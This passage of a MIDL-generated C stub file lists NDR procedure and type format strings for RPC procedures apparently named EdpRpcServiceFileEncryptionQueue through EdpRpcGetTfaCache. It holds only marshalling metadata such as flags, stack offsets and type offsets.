*/\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2182 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2184 */\tNdrFcShort( 0x29e ),\t/* Type Offset=670 */\n\n\t/* Parameter arg_3 */\n\n/* 2186 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2188 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2190 */\tNdrFcShort( 0x29e ),\t/* Type Offset=670 */\n\n\t/* Parameter arg_4 */\n\n/* 2192 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2194 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2196 */\tNdrFcShort( 0xc ),\t/* Type Offset=12 */\n\n\t/* Return value */\n\n/* 2198 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2200 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 2202 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Proc39_EdpRpcServiceFileEncryptionQueue */\n\n/* 2204 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2206 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2210 */\tNdrFcShort( 0x27 ),\t/* 39 */\n/* 2212 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2214 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 2216 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2218 */\tNdrFcShort( 0x5 ),\t/* 5 */\n/* 2220 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2222 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x2,\t\t/* 2 */\n/* 2224 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 2226 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2228 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2230 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2232 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter arg_1 */\n\n/* 2234 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2236 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2238 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 2240 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2242 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2244 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Proc40_EdpRpcCredSvcControl */\n\n/* 2246 */\t0x0,\t\t/* 0 */\n\t\t\t0x49,\t\t/* Old Flags:  full ptr, */\n/* 2248 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2252 */\tNdrFcShort( 0x28 ),\t/* 40 */\n/* 2254 */\tNdrFcShort( 0x58 ),\t/* X64 Stack size/offset = 88 */\n/* 2256 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 2258 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2260 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 2262 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 2264 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0xa,\t\t/* 10 */\n/* 2266 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 2268 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2270 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2272 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2274 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter arg_1 */\n\n/* 2276 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2278 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2280 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter arg_2 */\n\n/* 2282 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2284 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2286 */\tNdrFcShort( 0x314 ),\t/* Type Offset=788 */\n\n\t/* Parameter arg_3 */\n\n/* 2288 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2290 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2292 */\tNdrFcShort( 0x314 ),\t/* Type Offset=788 */\n\n\t/* Parameter arg_4 */\n\n/* 2294 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2296 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2298 */\tNdrFcShort( 0x376 ),\t/* Type Offset=886 */\n\n\t/* Parameter arg_5 */\n\n/* 2300 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2302 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 2304 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter arg_6 */\n\n/* 2306 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2308 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 2310 */\tNdrFcShort( 0x3a8 ),\t/* Type Offset=936 */\n\n\t/* Parameter arg_7 */\n\n/* 2312 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2314 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 2316 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter arg_8 */\n\n/* 2318 */\tNdrFcShort( 0x2013 ),\t/* Flags:  must size, must free, out, srv alloc size=8 */\n/* 2320 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 2322 */\tNdrFcShort( 0x3c2 ),\t/* Type Offset=962 */\n\n\t/* Parameter arg_9 */\n\n/* 2324 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 2326 */\tNdrFcShort( 0x48 ),\t/* X64 Stack size/offset = 72 */\n/* 2328 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 2330 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2332 */\tNdrFcShort( 0x50 ),\t/* X64 Stack size/offset = 80 */\n/* 2334 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Proc41_EdpRpcRmsClearKeys */\n\n/* 2336 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2338 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2342 */\tNdrFcShort( 0x29 ),\t/* 41 */\n/* 2344 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2346 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 2348 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2350 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2352 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2354 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x1,\t\t/* 1 */\n/* 2356 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 2358 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2360 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2362 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2364 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Return value */\n\n/* 2366 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2368 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2370 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Proc42_EdpRpcRmsContainerizeFile */\n\n/* 2372 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2374 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2378 */\tNdrFcShort( 0x2a ),\t/* 42 */\n/* 2380 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 2382 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 2384 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2386 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2388 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2390 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 2392 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 2394 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2396 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2398 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2400 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter arg_1 */\n\n/* 2402 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2404 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2406 */\tNdrFcShort( 0xc ),\t/* Type Offset=12 */\n\n\t/* Parameter arg_2 */\n\n/* 2408 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2410 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2412 */\tNdrFcShort( 0xc ),\t/* Type Offset=12 */\n\n\t/* Parameter arg_3 */\n\n/* 2414 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2416 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2418 */\tNdrFcShort( 0x29e ),\t/* Type Offset=670 */\n\n\t/* Parameter arg_4 */\n\n/* 2420 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2422 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2424 */\tNdrFcShort( 0xc ),\t/* Type Offset=12 */\n\n\t/* Parameter arg_5 */\n\n/* 2426 */\tNdrFcShort( 0x2013 ),\t/* Flags:  must size, must free, out, srv alloc size=8 */\n/* 2428 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 2430 */\tNdrFcShort( 0x318 ),\t/* Type Offset=792 */\n\n\t/* Return value */\n\n/* 2432 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2434 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 2436 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Proc43_EdpRpcRmsGetContainerIdentity */\n\n/* 2438 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2440 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2444 */\tNdrFcShort( 0x2b ),\t/* 43 */\n/* 2446 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2448 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 2450 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2452 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2454 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2456 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 2458 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 2460 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2462 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2464 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2466 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter arg_1 */\n\n/* 2468 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2470 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2472 */\tNdrFcShort( 0xc ),\t/* Type Offset=12 */\n\n\t/* Parameter arg_2 */\n\n/* 2474 */\tNdrFcShort( 0x2013 ),\t/* Flags:  must size, must free, out, srv alloc size=8 */\n/* 2476 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2478 */\tNdrFcShort( 0x318 ),\t/* Type Offset=792 */\n\n\t/* Return value */\n\n/* 2480 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2482 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2484 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Proc44_EdpRpcRmsDecontainerizeFile */\n\n/* 2486 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2488 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2492 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 2494 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 2496 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 2498 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2500 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2502 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2504 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 2506 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 2508 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2510 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2512 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2514 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter arg_1 */\n\n/* 2516 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2518 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2520 */\tNdrFcShort( 0xc ),\t/* Type Offset=12 */\n\n\t/* Parameter arg_2 */\n\n/* 2522 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2524 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2526 */\tNdrFcShort( 0xc ),\t/* Type Offset=12 */\n\n\t/* Parameter arg_3 */\n\n/* 2528 */\tNdrFcShort( 0x2013 ),\t/* Flags:  must size, must free, out, srv alloc size=8 */\n/* 2530 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2532 */\tNdrFcShort( 0x318 ),\t/* Type Offset=792 */\n\n\t/* Return value */\n\n/* 2534 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2536 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2538 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Proc45_EdpRpcAllowFileAccessForProcess */\n\n/* 2540 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2542 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2546 */\tNdrFcShort( 0x2d ),\t/* 45 */\n/* 2548 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 2550 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 2552 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2554 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2556 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2558 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 2560 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 2562 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2564 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2566 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2568 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter arg_1 */\n\n/* 2570 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2572 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2574 */\tNdrFcShort( 0xc ),\t/* Type Offset=12 */\n\n\t/* Parameter arg_2 */\n\n/* 2576 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2578 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2580 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter arg_3 */\n\n/* 2582 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2584 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2586 */\tNdrFcShort( 0x29e ),\t/* Type Offset=670 */\n\n\t/* Return value */\n\n/* 2588 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2590 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2592 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Proc46_EdpRpcGetTfaCache */\n\n/* 2594 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2596 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2600 */\tNdrFcShort( 0x2e ),\t/* 46 */\n/* 2602 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2604 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 2606 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2608 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2610 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2612 */\t0x45,\t\t/* Oi2 Flags:  srv must size, has return, has ext, */\n\t\t\t0x2,\t\t/* 2 */\n/* 2614 */\t0xa,\t\t/* 10 */\n\t\t\t0x43,\t\t/* Ext Flags:  new corr desc, clt corr check, has range on conformance */\n/* 2616 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2618 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2620 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2622 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter arg_1 */\n\n/* 2624 */\tNdrFcShort( 0x2013 ),\t/* Flags:  must size, must free, out, srv alloc size=8 */\n/* 2626 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2628 */\tNdrFcShort( 0x3e0 ),\t/* Type Offset=992 */\n\n\t/* Return value */\n\n/* 2630 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2632 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2634 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t\t\t0x0\n        }\n    };\n\nstatic const MS2DEFSR_df1941c52Dfe892D4e792Dbf102D463657acf44d_MIDL_TYPE_FORMAT_STRING MS2DEFSR_df1941c52Dfe892D4e792Dbf102D463657acf44d__MIDL_TypeFormatString =\n    {\n        0,\n        {\n\t\t\tNdrFcShort( 0x0 ),\t/* 0 */\n/*  2 */\t\n\t\t\t0x11, 0x4,\t/* FC_RP [alloced_on_stack] */\n/*  4 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (6) */\n/*  6 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0xa0,\t\t/* Ctxt flags:  via ptr, out, */\n/*  8 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 10 */\t\n\t\t\t0x11, 0x8,\t/* FC_RP [simple_pointer] */\n/* 12 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 14 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x41,\t\t/* Ctxt flags:  in, can't be null */\n/* 16 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 18 */\t\n\t\t\t0x11, 0x4,\t/* FC_RP [alloced_on_stack] */\n/* 20 */\tNdrFcShort( 0x4 ),\t/* Offset= 4 (24) */\n/* 22 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 24 */\t0xb5,\t\t/* FC_PIPE */\n\t\t\t0x0,\t\t/* 0 */\n/* 26 */\tNdrFcShort( 0xfffc ),\t/* Offset= -4 (22) */\n/* 28 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 30 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 32 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 34 */\tNdrFcShort( 0x4 ),\t/* Offset= 4 (38) */\n/* 36 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 38 */\t0xb5,\t\t/* FC_PIPE */\n\t\t\t0x0,\t\t/* 0 */\n/* 40 */\tNdrFcShort( 0xfffc ),\t/* Offset= -4 (36) */\n/* 42 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 44 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 46 */\t\n\t\t\t0x11, 0x4,\t/* FC_RP [alloced_on_stack] */\n/* 48 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (50) */\n/* 50 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0xe1,\t\t/* Ctxt flags:  via ptr, in, out, can't be null */\n/* 52 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 54 */\t\n\t\t\t0x11, 0x14,\t/* FC_RP [alloced_on_stack] [pointer_deref] */\n/* 56 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (58) */\n/* 58 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 60 */\tNdrFcShort( 0xa0 ),\t/* Offset= 160 (220) */\n/* 62 */\t\n\t\t\t0x1d,\t\t/* FC_SMFARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 64 */\tNdrFcShort( 0x6 ),\t/* 6 */\n/* 66 */\t0x1,\t\t/* FC_BYTE */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 68 */\t\n\t\t\t0x15,\t\t/* FC_STRUCT */\n\t\t\t0x0,\t\t/* 0 */\n/* 70 */\tNdrFcShort( 0x6 ),\t/* 6 */\n/* 72 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 74 */\tNdrFcShort( 0xfff4 ),\t/* Offset= -12 (62) */\n/* 76 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 78 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 80 */\tNdrFcShort( 0x4 ),\t/* 4 */\n/* 82 */\t0x4,\t\t/* Corr desc: FC_USMALL */\n\t\t\t0x0,\t\t/*  */\n/* 84 */\tNdrFcShort( 0xfff9 ),\t/* -7 */\n/* 86 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 88 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 90 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 94 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 98 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 100 */\t\n\t\t\t0x17,\t\t/* FC_CSTRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 102 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 104 */\tNdrFcShort( 0xffe6 ),\t/* Offset= -26 (78) */\n/* 106 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x2,\t\t/* FC_CHAR */\n/* 108 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 110 */\tNdrFcShort( 0xffd6 ),\t/* Offset= -42 (68) */\n/* 112 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 114 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 116 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 118 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 120 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 122 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 124 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 126 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 130 */\tNdrFcLong( 0x64 ),\t/* 100 */\n/* 134 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 136 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 138 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 140 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 142 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (148) */\n/* 144 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 146 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 148 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 150 */\tNdrFcShort( 0xffdc ),\t/* Offset= -36 (114) */\n/* 152 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 154 */\tNdrFcShort( 0x20 ),\t/* 32 */\n/* 156 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 158 */\tNdrFcShort( 0x8 ),\t/* Offset= 8 (166) */\n/* 160 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 162 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 164 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 166 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 168 */\tNdrFcShort( 0xffbc ),\t/* Offset= -68 (100) */\n/* 170 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 172 */\tNdrFcShort( 0xffdc ),\t/* Offset= -36 (136) */\n/* 174 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 176 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 178 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 180 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 182 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 184 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 186 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 188 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 190 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 194 */\tNdrFcLong( 